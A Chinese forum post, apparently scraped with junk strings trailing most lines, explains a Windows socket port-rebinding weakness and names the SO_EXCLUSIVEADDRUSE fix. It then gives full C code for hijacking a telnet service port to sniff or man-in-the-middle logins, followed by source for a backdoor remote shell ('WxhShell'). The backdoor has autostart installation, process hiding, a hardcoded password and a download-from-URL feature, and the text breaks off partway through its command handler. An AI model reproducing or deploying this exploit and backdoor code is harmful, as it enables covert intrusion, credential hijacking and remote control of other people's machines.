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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 0Q,Tcj  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); kApDD[ N  
8oRq3"  
  saddr.sin_family = AF_INET; P c5C*{C  
|E||e10wR  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); uGW#z_{(n  
  uk,9N  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); C#1'kQO  
b].U/=Hs  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 xXmlHo<D  
I69Z'}+qz  
  这意味着什么?意味着可以进行如下的攻击: ]gv3|W  
O*,O]Q  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 e7&RZ+s#wZ  
wc"~8Ah  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) R$`&g@P="  
@KLX,1K  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ncOl}\Q9  
l 6aD3?8LN  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  rwh 4/h^S  
`_ZbA#R,  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 48G^$T{  
BC1smSlJ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ;4/ n~  
pm i[M)D  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 /~fu,2=7  
erTly2-SJ  
  #include 5xNOIOpDB  
  #include a[sdYZ  
  #include -O/[c  
  #include    V2@( BliP  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ~ Hj c?*  
  int main() iXXaB +w  
  { K>XZrt  
  WORD wVersionRequested; 00y(E @~  
  DWORD ret; VAyAXN~  
  WSADATA wsaData; 5b I4' ;  
  BOOL val; 4 EA$<n(A-  
  SOCKADDR_IN saddr; 7*Zm{r@u  
  SOCKADDR_IN scaddr; `Jj b4]  
  int err; v{*2F  
  SOCKET s; |Dq?<Ha  
  SOCKET sc; Ju;^^  
  int caddsize; d& v 7l  
  HANDLE mt; J<Ki;_=I  
  DWORD tid;   O(.eHZ=  
  wVersionRequested = MAKEWORD( 2, 2 ); |gINB3L  
  err = WSAStartup( wVersionRequested, &wsaData ); qxZf!NX5  
  if ( err != 0 ) { np}0O  X  
  printf("error!WSAStartup failed!\n"); 8+(wAbp  
  return -1; Tgi7RAY  
  } 5N ;xo??  
  saddr.sin_family = AF_INET; L6!Hv{ijn  
   F4Cq85#  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 }20tdD ~  
2@HmZ!|Q  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); f6Y-ss;'  
  saddr.sin_port = htons(23); F%%mcmHD#  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) wZ `{ i  
  { 7/BjWU5*  
  printf("error!socket failed!\n"); iF.f*3-NJB  
  return -1; uOKdb6]r6  
  } T`<Tj?:^&  
  val = TRUE; "15frr?  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 92b}N|u  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) "EWq{l_I5$  
  { ;9J6)zg !n  
  printf("error!setsockopt failed!\n"); 61HJ%  
  return -1; uLI;_,/:  
  } JZ-64OT  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; G[OJ <px  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 qk0cf~ gz  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Rx.5;2m  
h_\W7xt  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Lc-Wf zT  
  { )RWukr+  
  ret=GetLastError(); UKB/>:R  
  printf("error!bind failed!\n"); Z*NTF:6c  
  return -1; 9 uX 15a  
  } ]Al)>  
  listen(s,2); uo|:n"v  
  while(1) Y[>`#RhP  
  { ~rAcT6#  
  caddsize = sizeof(scaddr); V^}$f3\B  
  //接受连接请求  Sb)}  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);  5pHv5e  
  if(sc!=INVALID_SOCKET) V;~\+@  
  { Lo}/k}3Sx  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); -h8Z@r~a/  
  if(mt==NULL) 6D{70onY+  
  { * $1F|G  
  printf("Thread Creat Failed!\n"); , BZ(-M  
  break; 0+e 0<'  
  } 2:yXeSeA  
  } M%SNq|Lo  
  CloseHandle(mt); nKTi"2dm  
  } KXWz(L!1  
  closesocket(s); v`6vc)>8  
  WSACleanup(); !l6ht {  
  return 0; Ru);wzky  
  }   @bnw$U`+  
  DWORD WINAPI ClientThread(LPVOID lpParam) Q(BZg{  
  { 6IJ;od.\b$  
  SOCKET ss = (SOCKET)lpParam; r.=.,R  
  SOCKET sc; eOZ~p  
  unsigned char buf[4096]; 8N<m V^|}  
  SOCKADDR_IN saddr; {q;_Dd  
  long num; .I^Y[_.G  
  DWORD val; -Wre4 ^,v  
  DWORD ret; KWi|7z(L=  
  //如果是隐藏端口应用的话,可以在此处加一些判断 %S>6Q^B  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   'Ir   
  saddr.sin_family = AF_INET; (4rHy*6  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); rj1%IzaXU^  
  saddr.sin_port = htons(23); AF{@lDa1h  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) RyWfoLc  
  { 6_g6e2F  
  printf("error!socket failed!\n"); {e., $'#  
  return -1; `sd H q  
  } V*@&<x"E  
  val = 100; N7;kWQH  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @TzUc E  
  { zMO xJ   
  ret = GetLastError(); '68#7Hs.  
  return -1; .n?i' 8  
  } ?dCJv_w  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~BnmAv$m[  
  { QG@Z%P~,E  
  ret = GetLastError(); lJS3*x#H  
  return -1; QlH[_Pi  
  } C]na4yE 8  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) FEV Ya#S  
  { G('UF1F  
  printf("error!socket connect failed!\n"); v|3mbApv  
  closesocket(sc);  (8 /&  
  closesocket(ss); !!~r1)zN  
  return -1; G=kW4rAk  
  } ~ntDzF  
  while(1) Ov.oyke4  
  { =~21.p  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 P(L iH  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 0]GenT"   
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。  y'^b{q@  
  num = recv(ss,buf,4096,0); /<o?T{z<-  
  if(num>0) FJW,G20L  
  send(sc,buf,num,0); i&)OJy  
  else if(num==0) T~?&hZ>  
  break; m*KI'~#$%  
  num = recv(sc,buf,4096,0); 1ZvXRJ)%  
  if(num>0) %F:; A  
  send(ss,buf,num,0); g12.4+  
  else if(num==0) fA), ^  
  break; /\E3p6\*  
  } nD=N MqQ &  
  closesocket(ss); 1IK*j +%  
  closesocket(sc); F9q!Upr_+  
  return 0 ; ~P*{%=a  
  } Ve40H6 Ox  
]2iEi`"[  
W4nhPH(  
========================================================== ;g<y{o"Q3p  
OgCNq W d-  
下边附上一个代码,,WXhSHELL SkU9iW(k  
N#X* 0i"  
========================================================== b$`/f:_  
UcB2Aauji  
#include "stdafx.h" w+XwPpM0.n  
YH{n   
#include <stdio.h> ?rdWhF]  
#include <string.h> G P ' -  
#include <windows.h> m;>:mwU  
#include <winsock2.h> RXO5p d  
#include <winsvc.h> D\pX@Sx,v[  
#include <urlmon.h> V7 hO}  
DJ!pZUO{  
#pragma comment (lib, "Ws2_32.lib") Pup%lO`.0  
#pragma comment (lib, "urlmon.lib") =n8M'  
6O*lZNN  
#define MAX_USER   100 // 最大客户端连接数 >.hDt9@4  
#define BUF_SOCK   200 // sock buffer M L7vP  
#define KEY_BUFF   255 // 输入 buffer +\>op,_9I  
Q>L.  
#define REBOOT     0   // 重启 TA~ZN^xI  
#define SHUTDOWN   1   // 关机 k#8E9/ t@  
++=jh6  
#define DEF_PORT   5000 // 监听端口 Rq|]KAN  
y%<CkgZS  
#define REG_LEN     16   // 注册表键长度 Lo=n)cV1,  
#define SVC_LEN     80   // NT服务名长度 TT&%[A+  
:fnK`RnaQ  
// 从dll定义API }8`>n4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *mW2vJ/B  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /!*=*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0sF|Y%N  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Qzv&  
zbvV:9N  
// wxhshell配置信息 -Q%Pg<Q-#  
struct WSCFG { SES-a Mi3  
  int ws_port;         // 监听端口 Na+h+wD.D  
  char ws_passstr[REG_LEN]; // 口令 Yt=2HJY  
  int ws_autoins;       // 安装标记, 1=yes 0=no VaO[SW^  
  char ws_regname[REG_LEN]; // 注册表键名 !;Pp)SRzKG  
  char ws_svcname[REG_LEN]; // 服务名  C8} ;,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 | vxmgX)  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 bfK4ps}m*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2M+ *VO  
int ws_downexe;       // 下载执行标记, 1=yes 0=no va0}?fy.O%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" VWqZ`X  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 wv Mp~  
^RYq !l$  
}; Nc?'},  
qtFHA+bO  
// default Wxhshell configuration lA4TWU (]  
struct WSCFG wscfg={DEF_PORT, sR)jZpmC(  
    "xuhuanlingzhe", 9d!mGnl  
    1, *dsI>4%m  
    "Wxhshell", LbR'nG{J  
    "Wxhshell", !mUO/6Q hq  
            "WxhShell Service", 4AKPS&k;  
    "Wrsky Windows CmdShell Service", <@Y`RqV+  
    "Please Input Your Password: ",  eAG)+b  
  1, vD(:?M  
  "http://www.wrsky.com/wxhshell.exe", + 7wMM#z  
  "Wxhshell.exe" p+b$jKWQ  
    }; Q2* ~9QkU  
SEH[6W3  
// 消息定义模块 goJ'z|))  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; g~76c.u-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; j@{dsS: 6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @0 [^SU?  
char *msg_ws_ext="\n\rExit."; Dd:^ {  
char *msg_ws_end="\n\rQuit."; $  k_6  
char *msg_ws_boot="\n\rReboot..."; @\W-=YKLg  
char *msg_ws_poff="\n\rShutdown..."; Y) l=r^Ap>  
char *msg_ws_down="\n\rSave to "; J :KU~`r  
]<C]&03))  
char *msg_ws_err="\n\rErr!"; 1Afy$It/{  
char *msg_ws_ok="\n\rOK!"; j}6h}E&dEr  
K \.tR  
char ExeFile[MAX_PATH]; A,3qjd,$ c  
int nUser = 0; i>dFpJ  
HANDLE handles[MAX_USER]; jWdZ ]0m  
int OsIsNt; g2A#BMe'.$  
?F*I2rt#  
SERVICE_STATUS       serviceStatus; %al 5 {  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; S27s Rxfr  
QXgfjo  
// 函数声明 u^W!$OfZpp  
int Install(void);  {@k , e  
int Uninstall(void); > }kZXeR|  
int DownloadFile(char *sURL, SOCKET wsh); [8K :ml  
int Boot(int flag); .bj:tmz  
void HideProc(void); q4,/RZhzh  
int GetOsVer(void); dXsD%sG @  
int Wxhshell(SOCKET wsl); M4% 3a j  
void TalkWithClient(void *cs); (^E5y,H<g  
int CmdShell(SOCKET sock); G#A6<e/  
int StartFromService(void); ;^|):x+O  
int StartWxhshell(LPSTR lpCmdLine); 6{yn;D4  
A8Km8"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4vCUVo r  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); XWq"_$&LF  
d1'= \PYr  
// 数据结构和表定义 5hTScnL%  
SERVICE_TABLE_ENTRY DispatchTable[] = vG\ b `  
{ @jrxbo;5  
{wscfg.ws_svcname, NTServiceMain}, ^)C#  
{NULL, NULL} *vq75k$7  
}; 7zIfsb  
eBY/Y6R  
// 自我安装 KL$>j/qT  
int Install(void) n~tb z"&  
{ NQqNBI?cr  
  char svExeFile[MAX_PATH]; `,4@;j<^@  
  HKEY key; Bx6,U4o*  
  strcpy(svExeFile,ExeFile); >Psq" Xj  
a2/Mf   
// 如果是win9x系统,修改注册表设为自启动 fzvyR2 I  
if(!OsIsNt) { Z'Pe%}3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #rNc+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UT[{NltH  
  RegCloseKey(key); (]PH2<3t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;' H\s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [JV?Mdzu  
  RegCloseKey(key); 4t3>`x 7  
  return 0; s!>9od6^  
    } }Z< Sca7  
  } (@;^uVJP  
} < RtyW  
else { m9+?>/R  
PZlPC#E-  
// 如果是NT以上系统,安装为系统服务 Q{an[9To~P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); T8x8TN"  
if (schSCManager!=0) 1kR. .p<"  
{ IM5[O}aq  
  SC_HANDLE schService = CreateService };<?W){!H  
  ( gQJLqs"F  
  schSCManager, bbDm6,  
  wscfg.ws_svcname, 3i'01z  
  wscfg.ws_svcdisp, #M5d,%?+#[  
  SERVICE_ALL_ACCESS, 5?([jAOf  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , H4j1yD(d  
  SERVICE_AUTO_START, #9~,d<H  
  SERVICE_ERROR_NORMAL, 5%}!z~8Y4  
  svExeFile, `(=?k[48  
  NULL, 69apTx  
  NULL, rS8\Vf]F  
  NULL, fNfa.0 s  
  NULL, Ajo IL  
  NULL oN%zpz;OR  
  ); 6a_U[-a9;  
  if (schService!=0) {<-wm-]mo  
  { DiTpjk ]c`  
  CloseServiceHandle(schService); S\Le;,5Z  
  CloseServiceHandle(schSCManager); l-S0Gn/'X  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~*<`PDO?  
  strcat(svExeFile,wscfg.ws_svcname); 9Oo`4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { GlRjbNW?Q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 'cQ,;y  
  RegCloseKey(key); $)BPtGMGo  
  return 0; rK`^A  
    } *<6dB#' J  
  } 0C  K  
  CloseServiceHandle(schSCManager); *c&OAL]  
} LZ.Xcy  
} A1`6+8}o;b  
lNtxM"G&  
return 1; 1i_%1Oip  
} }xi?vAaTl  
K<`W>2"  
// 自我卸载 )Q>Ao.  
int Uninstall(void) iA[o;D#  
{ @+Sr~:K  
  HKEY key; UUb0[oy  
|5X59! JL  
if(!OsIsNt) { xXa4t4gR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T?6<1nU)  
  RegDeleteValue(key,wscfg.ws_regname); b{{ H@LTW  
  RegCloseKey(key); 5 6.JB BZZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P1B=fgT  
  RegDeleteValue(key,wscfg.ws_regname); >VQLC&u(  
  RegCloseKey(key); svb7-.!  
  return 0; X(rXRP#  
  } r>TOJVT&]  
} =&qH%S6  
} >5"e<mwD7d  
else { E)f9`][  
gA}<Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4VwMl)8ic  
if (schSCManager!=0) S]~5iO_bst  
{ b18f=<#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); j3T)gFP  
  if (schService!=0) 2FV@ ?x0po  
  { ZGsd cnz  
  if(DeleteService(schService)!=0) { o0S 8ki  
  CloseServiceHandle(schService); %*wEzvt *  
  CloseServiceHandle(schSCManager); HW,v"  
  return 0; x?0K'  
  } qSG0TWD!pq  
  CloseServiceHandle(schService); (v|<" tv  
  } jm@M"b'{  
  CloseServiceHandle(schSCManager); D!/ 4u0m  
} /h.{g0Xc  
} xpo^\E?2  
#62ThH~  
return 1; hsS&|7Pt  
} W[ W)q%[)  
,|>>z#Rr(n  
// 从指定url下载文件 JtxVF !v  
int DownloadFile(char *sURL, SOCKET wsh) EzjK{v">  
{ '@h  
  HRESULT hr; jw {B8<@s  
char seps[]= "/"; XMT@<'fI  
char *token; y 5=r r3%v  
char *file; !>80p~L  
char myURL[MAX_PATH]; "`cPV){]  
char myFILE[MAX_PATH]; b=pk;'-  
J:>o\%sF  
strcpy(myURL,sURL); |YyNqwP`,  
  token=strtok(myURL,seps); un -h%-e |  
  while(token!=NULL) Ql l{;A  
  { 5(hv|t/a  
    file=token; g\@.qKF  
  token=strtok(NULL,seps); S.1>bs2  
  } Ol+D"k~<C  
]?wz.  
GetCurrentDirectory(MAX_PATH,myFILE); 3&AJN#c  
strcat(myFILE, "\\"); Ba|}$jo  
strcat(myFILE, file); q*` m%3{  
  send(wsh,myFILE,strlen(myFILE),0); qQG? k~r  
send(wsh,"...",3,0); ~u2f`67{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); n*na6rV\k  
  if(hr==S_OK) -T{2R:\{  
return 0; B@i%B+qCLv  
else "-dA\,G  
return 1; q>>1?hzA  
cc_'Kv!  
} xP&7i'ag  
xT*c##  
// 系统电源模块 <!UnH6J.b  
int Boot(int flag) kh2TDxa&  
{ PsXCpyY!s  
  HANDLE hToken; aGi`(|shW  
  TOKEN_PRIVILEGES tkp; |m"Gr)Gm  
j3/6hE>  
  if(OsIsNt) { REK):(i7P  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *.k*JsU~B  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); hCr,6ncC  
    tkp.PrivilegeCount = 1; /_{ZWLi(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \gPMYMd  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2gZp O9  
if(flag==REBOOT) { <,n:w[+!`P  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4m91XD  
  return 0; nQ+5jGP1  
} #Pf<2S  
else { <4vCx  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1 Ga3[ g  
  return 0; R5^6Kwu  
} E&y)`>Nq{  
  } Xy=ETV%  
  else { 3x+=7Mg9  
if(flag==REBOOT) { J9*;Bqzim  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7_l Wr  
  return 0; uyB2   
} TaHcvjhR  
else { _LC*_LT_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) v G\J8s  
  return 0; 5=|h~/.k  
} 7I"~a<f0X`  
} 5o>`7(t`  
C5I7\9F)  
return 1; iO?^y(phC  
} MQN~I^v3  
J@_^]  
// win9x进程隐藏模块 _",(!(  
void HideProc(void) L@6]~[JvP  
{ KhB775  
eUB!sR%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "49dsKIOH  
  if ( hKernel != NULL ) {%9@{Q'T.s  
  { vCJa%}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ny1O- `!1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); YF-E1`+?<  
    FreeLibrary(hKernel); sfn^R+x4,9  
  } O(8CrKYY  
u_9c>  
return; xp95KxHHo  
} S!=R\_{u$  
IBJNs$  
// 获取操作系统版本 2xO[ ?fR  
int GetOsVer(void) DH+kp$,}  
{ zs I?X>4  
  OSVERSIONINFO winfo; # M/n\em"X  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); i^.eX VV/  
  GetVersionEx(&winfo); $Uy+]9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^?""'1iuQx  
  return 1; U{oM*[  
  else X5J)1rL  
  return 0; j;_  
} ?i#x13  
JXe~ 9/!  
// 客户端句柄模块 W5`pQdk  
int Wxhshell(SOCKET wsl) CQ/+- -o  
{ Eq;w5;7s  
  SOCKET wsh; aaY AS"/:  
  struct sockaddr_in client; ij-'M{f  
  DWORD myID; } (-9d  
<zn)f@W  
  while(nUser<MAX_USER) !P EKMDh  
{ >\? z,Nin  
  int nSize=sizeof(client); ZJ)Z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); zqNzWX  
  if(wsh==INVALID_SOCKET) return 1; rY^uOrR>j*  
w$f_z*/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -`\rDPGf  
if(handles[nUser]==0) vMou`[\WlJ  
  closesocket(wsh); BX[ IWP\%  
else 8HBwcXYoHh  
  nUser++; I P#vfM  
  } TA*}p=?6?!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]YhQQH1> ]  
kGAgXtE  
  return 0; -%fj-Y7y  
} ]ASw%Lw)  
zMP6hn  
// 关闭 socket :h34mNU  
void CloseIt(SOCKET wsh) v {HF}L  
{ CS~onf<xz  
closesocket(wsh); =Vs?=|r  
nUser--; PA,aYg0f  
ExitThread(0); xk>cdgt  
} \^dse  
}WC[ <AqI  
// 客户端请求句柄 qF bj~ec  
void TalkWithClient(void *cs) :3Q:pKg  
{ ` wEX;  
IW<rmP=R&  
  SOCKET wsh=(SOCKET)cs; &M?b 08  
  char pwd[SVC_LEN]; EEZ~Bs}d  
  char cmd[KEY_BUFF]; lF/ Xs  
char chr[1]; "]]LQb$  
int i,j; )yig=nn  
dE,E,tv  
  while (nUser < MAX_USER) { 7!jb  
|Ol29C$@|  
if(wscfg.ws_passstr) { ^|Fy!kp  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _dk[k@5W{'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &&C70+_po  
  //ZeroMemory(pwd,KEY_BUFF); G^dp9A  
      i=0; Ij4q &i"  
  while(i<SVC_LEN) { Posz|u<x  
J  Y8Rk=  
  // 设置超时 -d4 v:Jab  
  fd_set FdRead; 7 SJ=2  
  struct timeval TimeOut; 6?M/7 1  
  FD_ZERO(&FdRead); '62_q8:  
  FD_SET(wsh,&FdRead); +:jonN9d  
  TimeOut.tv_sec=8; >uYQt ~s  
  TimeOut.tv_usec=0; 8493Sw  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); KM[0aXOtv  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); d38o*+JCf  
M 1 m]1<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )HE{`yiLL  
  pwd=chr[0]; M("sekL  
  if(chr[0]==0xd || chr[0]==0xa) { w#A\(z%;x  
  pwd=0; i,;eW&  
  break; z-gMk@l  
  } d6tv4Cf  
  i++; sNpA!!\PM  
    } rMIX{K)'f  
[UzacXt  
  // 如果是非法用户,关闭 socket B6IKD  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %p)&mYK{  
} -( p%+`  
gkxHfm  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *l =f=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \f4rA?+f  
4bL *7bA  
while(1) { S"G(_%  
uQ_C<ii"W  
  ZeroMemory(cmd,KEY_BUFF); s&V sK#  
7/hn%obC  
      // 自动支持客户端 telnet标准   YL|)`m0-^5  
  j=0; 084Us s  
  while(j<KEY_BUFF) { J7",fb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Yu" Q  
  cmd[j]=chr[0]; oCkG  
  if(chr[0]==0xa || chr[0]==0xd) { ].J;8}  
  cmd[j]=0; Am@Ta "2  
  break; !`Kg&t [&V  
  } Hm'fK$y(  
  j++; "TaLvworb4  
    } *8,W$pe3  
B`R@%US  
  // 下载文件 MQw}R7  
  if(strstr(cmd,"http://")) { %+Nng<_U\T  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |k}L=oWE  
  if(DownloadFile(cmd,wsh)) Vv(buG  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); FD E?O]^  
  else .+XK>jl +  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G.L}VpopM  
  } deYv&=SPl  
  else { :t`W&z41  
+jF |8  
    switch(cmd[0]) { Pi5MFw'v  
  !\{2s!l~  
  // 帮助 r3' DXP  
  case '?': { ?F]P=S:x  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Xux[  
    break; @ntwdv;  
  } rz&V.,s  
  // 安装 iB W:t  
  case 'i': { XZk%5t|t  
    if(Install()) "Ua-7Q&A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iT{4-j7|P4  
    else Rkk`+0K7$J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j~\FDcG*ed  
    break; H?;+C/-K`_  
    } .?3ro Q  
  // 卸载 x*F- d2D  
  case 'r': { Mx, 5  
    if(Uninstall()) /q>ExXsEC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bf.+Ewb(  
    else tgCp2 `n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U1/I( w  
    break; p2l@6\m\  
    } Ih5Y7<8b~  
  // 显示 wxhshell 所在路径 %Bm{ctf#)  
  case 'p': { =/'>.p3/S  
    char svExeFile[MAX_PATH]; <7ANXHuSW  
    strcpy(svExeFile,"\n\r"); ` ~m/  
      strcat(svExeFile,ExeFile); lU Zj  
        send(wsh,svExeFile,strlen(svExeFile),0); T7mT:z>:  
    break; m[y~-n  
    } Gev\bQa  
  // 重启 p#4*:rpq4  
  case 'b': { |=:@<0.'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); X:`=\D  
    if(Boot(REBOOT)) bQI :N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]7k:3"wH  
    else { ~u1~%  
    closesocket(wsh); t1iz5%`p}  
    ExitThread(0); |7,$.MK-@  
    } uZ_?x~V/  
    break; H74'I}  
    } <?KgzIq2  
  // 关机 ~DxuLk6 s  
  case 'd': { sdCG}..`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); V}<<?_  
